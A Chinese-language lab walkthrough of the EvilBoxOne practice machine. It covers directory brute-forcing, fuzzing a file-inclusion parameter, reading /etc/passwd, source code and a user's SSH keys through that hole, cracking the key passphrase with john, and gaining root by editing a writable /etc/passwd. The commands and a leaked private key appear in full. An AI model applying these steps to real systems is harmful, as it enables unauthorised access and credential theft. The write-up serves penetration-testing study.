第六周

工具安装

这里首先安装一些后续要使用的工具

1、gobuster

这也是一个目录爆破的工具,然后这里kali的话默认不安装,我们直接输入命令会提示是否安装,输入y即可。

image-20230326213023098

2、seclists #这是一个字典大合集,也是输入命令然后选择y安装即可。

image-20230326213151406

默认的安装目录在

/usr/share/seclists/

image-20230326213229255

其中Discovery里面就有web目录的字典Web-Content

image-20230326213405599

可以看到非常多的字典

信息收集

不多说。

image-20230326212156934

这里可以发现80端口开启了http服务,那么就可以通过浏览器去进行访问测试。

image-20230327090707144

进来发现只有一个apache的首页,那么就需要进行一个目录的爆破测试了。这里就使用我们上面安装好的工具

gobuster dir -u http://192.168.18.7/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -x txt,php,html,jsp

#这里就是 -u 指定url -w 指定字典 -x 指定要爆破的文件类型

image-20230327091233887

最后我们扫描结果可以发现一个secret目录,然后就没有其他的情况了。还有一个robots.txt

image-20230327091342748

image-20230327091320168

image-20230327094533856

这里直接去访问secret也是空白的页面。然后这里我们查看源代码也是没有东西的,那么我们是可以进行二级目录的爆破的。

image-20230327094643901

我们在实战中也是可以这样使用的,深度爬取是非常有必要的。有利于我们发现更多的信息

image-20230327094806880

这里可以发现扫描出现一个evil.php,名字就是那种恶意php文件。但是方式依旧是空白的,这里我们就需要使用到另一种攻击手段。

Fuzz 参数

打点

我们都知道php前后端交互主要通过传参。

比如

http://example.com/hello.php?a=b,参数为a,值为b。那么如果我们访问页面空白但是存在这么一个php文件的话,我们可以通过去爆破参数有可能就可以触发它的一些处理逻辑。

这里参数名字典在我们安装的seclists内已经存在,参数值字典的话我们可以自己手动定义一个。

image-20230327100319105

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -w val.txt:VAL -u http://192.168.18.7/secret/evil.php?PARAM=VAL -fs 0

#ffuf是工具的名称 -w指定字典 第一个字典为参数名的 :PARAM把这个字典命名为param 第二个字典指定为参数值命名为:VAL 然后-u指定url然后把命名放上去进行爆破 -fs为过滤 0表示返回内容为0 -fs 0就是过滤返回值为0的内容

image-20230327100740955

但是这里我们可以发现并没有出现任何数据,这时候可以想到有一种漏洞可能并不是我们指定的值,比如文件包含漏洞,这里的话我们就可以直接手动指定一个值即可。

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u http://192.168.18.7/secret/evil.php?FUZZ=../index.html -fs 0

这里的话因为我们知道前面存在一个index.html页面,所以直接指定即可。

image-20230327100947312

这里可以看到成功fuzz出一个参数command

image-20230327101015450

输入测试发现确实成功了,那么我们可以确定它是存在这么一个漏洞的。

http://192.168.18.7/secret/evil.php?command=/etc/passwd

image-20230327101049608

这里我们可以利用php的伪协议去读取到目标文件的源代码

image-20230327101820922

http://192.168.18.7/secret/evil.php?command=php://filter/convert.base64-encode/resource=evil.php
<?php
$filename = $_GET['command'];
include($filename);
?>
解码之后的内容就是这个,就是一个文件包含的参数

这里的话,我们清楚它存在一个文件包含的漏洞,文件包含漏洞也有很多方式可以getshell,但是这里就不一一尝试了。

ssh公钥认证

前面通过文件包含去查看了/etc/passwd文件,发现存在账户mowree。同时靶机也是开启了ssh服务的。那么我们可以去测试连接查看是否能得到一些有用的信息。

ssh mowree@ip -v  #-v参数可以查看连接的一些详细信息

image-20230327102728110

image-20230327102818220

在这里可以查看到目标ssh支持两种登录方式,密钥登录和密码登录。

https://www.cnblogs.com/damoxilai/p/16672336.html

如果可以采用密钥登录ssh的话,那么目标账户文件夹下就会存在.ssh这么隐藏文件夹。

公钥: .ssh/authorized_keys
私钥: .ssh/id_rsa

这里知道了文件的位置,那么我们就可以尝试使用文件包含漏洞去读取

http://192.168.18.7/secret/evil.php?command=/home/mowree/.ssh/authorized_keys

image-20230327103324478

这里成功的读取到了公钥

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAXfEfC22Bpq40UDZ8QXeuQa6EVJPmW6BjB4Ud/knShqQ86qCUatKaNlMfdpzKaagEBtlVUYwit68VH5xHV/QIcAzWi+FNw0SB2KTYvS514pkYj2mqrONdu1LQLvgXIqbmV7MPyE2AsGoQrOftpLKLJ8JToaIUCgYsVPHvs9Jy3fka+qLRHb0HjekPOuMiq19OeBeuGViaqILY+w9h19ebZelN8fJKW3mX4mkpM7eH4C46J0cmbK3ztkZuQ9e8Z14yAhcehde+sEHFKVcPS0WkHl61aTQoH/XTky8dHatCUucUATnwjDvUMgrVZ5cTjr4Q4YSvSRSIgpDP2lNNs1B7 mowree@EvilBoxOne
http://192.168.18.7/secret/evil.php?command=/home/mowree/.ssh/id_rsa

image-20230327103414657

-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,9FB14B3F3D04E90E

uuQm2CFIe/eZT5pNyQ6+K1Uap/FYWcsEklzONt+x4AO6FmjFmR8RUpwMHurmbRC6
hqyoiv8vgpQgQRPYMzJ3QgS9kUCGdgC5+cXlNCST/GKQOS4QMQMUTacjZZ8EJzoe
o7+7tCB8Zk/sW7b8c3m4Cz0CmE5mut8ZyuTnB0SAlGAQfZjqsldugHjZ1t17mldb
+gzWGBUmKTOLO/gcuAZC+Tj+BoGkb2gneiMA85oJX6y/dqq4Ir10Qom+0tOFsuot
b7A9XTubgElslUEm8fGW64kX3x3LtXRsoR12n+krZ6T+IOTzThMWExR1Wxp4Ub/k
HtXTzdvDQBbgBf4h08qyCOxGEaVZHKaV/ynGnOv0zhlZ+z163SjppVPK07H4bdLg
9SC1omYunvJgunMS0ATC8uAWzoQ5Iz5ka0h+NOofUrVtfJZ/OnhtMKW+M948EgnY
zh7Ffq1KlMjZHxnIS3bdcl4MFV0F3Hpx+iDukvyfeeWKuoeUuvzNfVKVPZKqyaJu
rRqnxYW/fzdJm+8XViMQccgQAaZ+Zb2rVW0gyifsEigxShdaT5PGdJFKKVLS+bD1
tHBy6UOhKCn3H8edtXwvZN+9PDGDzUcEpr9xYCLkmH+hcr06ypUtlu9UrePLh/Xs
94KATK4joOIW7O8GnPdKBiI+3Hk0qakL1kyYQVBtMjKTyEM8yRcssGZr/MdVnYWm
VD5pEdAybKBfBG/xVu2CR378BRKzlJkiyqRjXQLoFMVDz3I30RpjbpfYQs2Dm2M7
Mb26wNQW4ff7qe30K/Ixrm7MfkJPzueQlSi94IHXaPvl4vyCoPLW89JzsNDsvG8P
hrkWRpPIwpzKdtMPwQbkPu4ykqgKkYYRmVlfX8oeis3C1hCjqvp3Lth0QDI+7Shr
Fb5w0n0qfDT4o03U1Pun2iqdI4M+iDZUF4S0BD3xA/zp+d98NnGlRqMmJK+StmqR
IIk3DRRkvMxxCm12g2DotRUgT2+mgaZ3nq55eqzXRh0U1P5QfhO+V8WzbVzhP6+R
MtqgW1L0iAgB4CnTIud6DpXQtR9l//9alrXa+4nWcDW2GoKjljxOKNK8jXs58SnS
62LrvcNZVokZjql8Xi7xL0XbEk0gtpItLtX7xAHLFTVZt4UH6csOcwq5vvJAGh69
Q/ikz5XmyQ+wDwQEQDzNeOj9zBh1+1zrdmt0m7hI5WnIJakEM2vqCqluN5CEs4u8
p1ia+meL0JVlLobfnUgxi3Qzm9SF2pifQdePVU4GXGhIOBUf34bts0iEIDf+qx2C
pwxoAe1tMmInlZfR2sKVlIeHIBfHq/hPf2PHvU0cpz7MzfY36x9ufZc5MH2JDT8X
KREAJ3S0pMplP/ZcXjRLOlESQXeUQ2yvb61m+zphg0QjWH131gnaBIhVIj1nLnTa
i99+vYdwe8+8nJq4/WXhkN+VTYXndET2H0fFNTFAqbk2HGy6+6qS/4Q6DVVxTHdp
4Dg2QRnRTjp74dQ1NZ7juucvW7DBFE+CK80dkrr9yFyybVUqBwHrmmQVFGLkS2I/
8kOVjIjFKkGQ4rNRWKVoo/HaRoI/f2G6tbEiOVclUMT8iutAg8S4VA==
-----END RSA PRIVATE KEY-----

公私密钥现在我们都已经清楚了。

现在我们就可以利用公钥认证的机制去登录到目标的服务器。

目标服务器存储公钥,我们本地指定私钥。那么就可以进行一个身份认证了。

我们在本机创建一个id_rsa文件,将上面获取的私钥粘贴进去。

image-20230327103824594

image-20230327103854781

同时还需要赋予这么一个600的权限。

ssh mowree@ip -i id_rsa

image-20230327104544101

结果发现我们还是需要一个密码,这个密码是用来加密私钥文件的。这个时候我们能想到的就是是否可以去爆破密码。当然会可以。这里可以使用到一个字典。rockyou.txt,这个字典非常大,kali自带。然后我们把它复制到我们的文件夹,然后进行解压缩。

image-20230327104658260

image-20230327104755067

密码爆破

这里密码爆破工具我们选择john,这里对这个私钥的加密密码爆破之前需要先转换私钥的文件格式。这个john也是自带这么一个脚本的。

image-20230327105216096

这里进入到john的文件夹底下,然后选择这个脚本,选择我们的私钥文件,然后把它转换为hash这个文件。

image-20230327105315718

john hash --wordlist=rockyou.txt

image-20230327105435894

这里可以发现密码已经爆破出来了

unicorn

image-20230327105532513

这里我们重新登录然后输入爆破出来的密码。这样就可以成功登录到目标服务器了。

image-20230327105710777

这里拿到第一个flag

提权

image-20230327105750442

几个方式都测试没有发现可以利用的提权方法。这个时候我们就可以查找是否存在suid标志的文件。

find / -perm /4000 2>/dev/null

image-20230327105906233

这里可以发现这些命令也是比较正常的,没有可以进行利用的命令。

这个时候还有一个思路就是去查找我们可以写入的文件,如果该文件是通过高权限用户运行的,那么我们也是可以提权的。

find / writable 2>/dev/null | grep run | grep proc | grep sys····
#这里我们可以查询我们当前用户可写的文件,然后通过管道符去过滤到不需要的文件。

image-20230327113313676

image-20230327113552233

这里会发现一个奇怪的文件/etc/passwd,这个文件按道理来说是不应该可写的。

image-20230327113641629

可以看到,作为普通用户来说我们不可写,可以读。但是目标靶机用户却是可以读写的。那么这里肯定是配置错误的。

image-20230327113712071

我们都知道/etc/passwd这个文件保存了linux用户的信息,包括密码。但是现在linux采取的方式是密码另外存在一个文件/etc/shadow。但是如果我们在/etc/passwd内指定了密码的话那么/etc/shadow的密码将会被覆盖。

image-20230327114246029

在passwd文件内,这个x就是指代的用户密码,因为所有用户对这个文件都是可读的,那么处于安全考虑的话就采取了上述的操作。使用一个x来占位。

那么因为我们可以对这个文件进行修改,那么我们就可以手动给root用户指定一个密码。但是这个密码是需要先加密生成的。

这里我们可以使用openssl去生成密码

openssl passwd -1 #-1指定的是一种加密算法,然后输入我们要设定的密码

image-20230327114511043

复制这个密码。

然后输入

vi /etc/passwd

image-20230327142721777

先把光标移到这个x上面,然后按x键就可以删除这个x了

image-20230327142459802

然后按方向键回到前面那个冒号。

image-20230327143858924

然后这里按i进入编辑模式。把我们的加密密码复制过去。

image-20230327144042076

然后按esc键退出编辑模式。输入:进入命令模式 然后就是wq了。

如果!!!那一步错了,先按esc退出模式,然后输入:进入命令模式输入q!强制退出。就不会保存了。

image-20230327144216305

修改成功之后我们切换root用户。输入我们上面设置的密码即可。

image-20230327144239929

image-20230327144303061

拿到第二个flag